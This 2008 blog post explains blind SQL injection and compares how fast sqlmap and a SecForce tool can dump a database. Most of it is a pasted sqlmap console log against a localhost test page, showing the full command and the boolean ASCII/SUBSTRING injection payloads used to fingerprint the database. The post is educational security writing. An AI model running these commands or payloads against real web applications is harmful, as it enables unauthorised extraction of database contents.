Monday, June 16, 2008

Optimized Blind Sql Injection

| Armando Romeo |
Blind sql injection is a technique that let hackers retrieve database data through a sql injection that doesn't give out useful information through web application errors.

Security by obscurity is not security though. Sqlmap and Absinthe demonstrate this clearly. They are capable of getting you the whole database even if no error is shown when user inputs characters meant to
trigger an sql error.


So how is it possible to still get database data without triggering web application errors?
These tools basically work on a true/false base. They provide the web app with input known to be faulty to trigger a FALSE case and input known to be working to trigger a TRUE case.

Using a TRUE/FALSE condition a loop through the charset is undertaken to recover a string in the database one character at a time. Usually the SUBSTRING/CONCAT sql commands are used to match a correct guess with the TRUE case.

The problem with this approach is the time it takes to retrieve data from the database.
Most of the tools for blind sql injection are not optimized.
Recently I came across with a nice research from Secforce.

They have written a quick tool to optimize the task of dumping a database through a blind sql injection.

The tool, written in python is basically a shell.
You provide parameters like vulnerable web page and then it will retrieve the desired portion of database (table names, column names or full data), nothing different from all the other sql injection tools.

What makes this tool better than the others (for blind sqli) is its speed thanks to the optimizations used to find characters.
You can read more about the implemented optimizations here.
From a test I personally undergone I noticed that sqlmap is the tool that is best (together with secforce blind sql injection tool) at dumping data through blind sql injection.

Here's the dump from the console of an injection process using sqlmap:


C:\hack\SQL\sqlmap>sqlmap.py --url="http://localhost/vuln.asp?i=6" -p i -v 3 -b --string="Ciao"

sqlmap/0.6-rc5 coded by inquis
and belch

[14:33:38] [DEBUG] request:http://localhost/vuln.asp?i=6
[14:33:43] [INFO] testing if GET parameter 'i' is dynamic
[14:33:43] [DEBUG] request:http://localhost/vuln.asp?i=47
[14:33:46] [INFO] confirming that GET parameter 'i' is dynamic
[14:33:46] [DEBUG] request:http://localhost/vuln.asp?i='NoValue

[14:33:48] [DEBUG] request:http://localhost/vuln.asp?i="NoValue

[14:33:50] [INFO] GET parameter 'i' is dynamic
[14:33:50] [INFO] testing sql injection on GET parameter 'i'
[14:33:50] [INFO] testing numeric/unescaped injection on GET parameter 'i'

[14:33:50] [DEBUG] request:http://localhost/vuln.asp?i=6 AND 3=
3
[14:33:52] [DEBUG] request:http://localhost/vuln.asp?i=6 AND 3=
4
[14:33:55] [INFO] confirming numeric/unescaped injection on GET parameter 'brand
id'
[14:33:55] [DEBUG] request:http://localhost/vuln.asp?i=6 AND No
Value
[14:33:57] [INFO] GET parameter 'i' is numeric/unescaped injectable
[14:33:57] [INFO] testing MySQL
[14:33:57] [INFO] query: CONCAT('6', '6')
[14:33:57] [DEBUG] request:http://localhost/vuln.asp?i=6 AND OR
D(MID((CONCAT(CHAR(54), CHAR(54))), 1, 1)) > 63
[14:33:58] [DEBUG] request:http://localhost/vuln.asp?i=6 AND OR
D(MID((CONCAT(CHAR(54), CHAR(54))), 1, 1)) > 31
[14:34:00] [DEBUG] request:http://localhost/vuln.asp?i=6 AND OR
D(MID((CONCAT(CHAR(54), CHAR(54))), 1, 1)) > 15
[14:34:03] [DEBUG] request:http://localhost/vuln.asp?i=6 AND OR
D(MID((CONCAT(CHAR(54), CHAR(54))), 1, 1)) > 7
[14:34:05] [DEBUG] request:http://localhost/vuln.asp?i=6 AND OR
D(MID((CONCAT(CHAR(54), CHAR(54))), 1, 1)) > 3
[14:34:07] [DEBUG] request:http://localhost/vuln.asp?i=6 AND OR
D(MID((CONCAT(CHAR(54), CHAR(54))), 1, 1)) > 1
[14:34:09] [INFO] retrieved:
[14:34:09] [INFO] performed 6 queries in 12 seconds
[14:34:09] [WARNING] the remote DMBS is not MySQL

As you can see from the above, sqlmap starts trying to understand if the first character of our banner
has an ascii value greater of 63 (that is 127/2). Not in our case.

[14:34:09] [INFO] testing Oracle
[14:34:09] [INFO] query: LENGTH(SYSDATE)
[14:34:09] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((LENGTH(SYSDATE)), 1, 1)) > 63
[14:34:11] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((LENGTH(SYSDATE)), 1, 1)) > 31
[14:34:13] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((LENGTH(SYSDATE)), 1, 1)) > 15
[14:34:15] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((LENGTH(SYSDATE)), 1, 1)) > 7
[14:34:17] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((LENGTH(SYSDATE)), 1, 1)) > 3
[14:34:19] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((LENGTH(SYSDATE)), 1, 1)) > 1
[14:34:21] [INFO] retrieved:
[14:34:21] [INFO] performed 6 queries in 12 seconds
[14:34:21] [WARNING] the remote DMBS is not Oracle
[14:34:21] [INFO] testing PostgreSQL
[14:34:21] [INFO] query: COALESCE(5, NULL)
[14:34:21] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((COALESCE(5, NULL)), 1, 1)) > 63
[14:34:23] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((COALESCE(5, NULL)), 1, 1)) > 31
[14:34:25] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((COALESCE(5, NULL)), 1, 1)) > 15
[14:34:27] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((COALESCE(5, NULL)), 1, 1)) > 7
[14:34:29] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((COALESCE(5, NULL)), 1, 1)) > 3
[14:34:32] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTR((COALESCE(5, NULL)), 1, 1)) > 1
[14:34:34] [INFO] retrieved:
[14:34:34] [INFO] performed 6 queries in 12 seconds
[14:34:34] [WARNING] the remote DMBS is not PostgreSQL
[14:34:34] [INFO] testing Microsoft SQL Server
[14:34:34] [INFO] query: LTRIM(STR(LEN(1)))
[14:34:34] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 1, 1)) > 63
[14:34:36] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 1, 1)) > 31
[14:34:38] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 1, 1)) > 47
[14:34:41] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 1, 1)) > 55
[14:34:43] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 1, 1)) > 51
[14:34:45] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 1, 1)) > 49
[14:34:46] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 1, 1)) > 48
[14:34:48] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 2, 1)) > 63
[14:34:50] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 2, 1)) > 31
[14:34:53] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 2, 1)) > 15
[14:34:55] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 2, 1)) > 7
[14:34:57] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 2, 1)) > 3
[14:35:00] [DEBUG] request:http://localhost/vuln.asp?i=6 AND AS
CII(SUBSTRING((LTRIM(STR(LEN(1)))), 2, 1)) > 1
[14:35:03] [INFO] retrieved: 1
[14:35:03] [INFO] performed 13 queries in 28 seconds
remote DBMS: Microsoft SQL Server

The process above is discussed in the paper released by secforce.
Sqlmap has retrieved the database banner/version in approx. 60 seconds.

Blind SQL Injection shell has done in 80 seconds due to the fact that it retrieves all the chars one by one thus being able to retrieve any kind of banner with 100% precision while sqlmap requires the matching of few chars to match it with default banners.

A video to show the basic functions of the tools is available from secforce tool page. Only con: it doesn't support the use of a proxy as of now. (It's open source so anyone can add this feature easily)

Free Security Magazines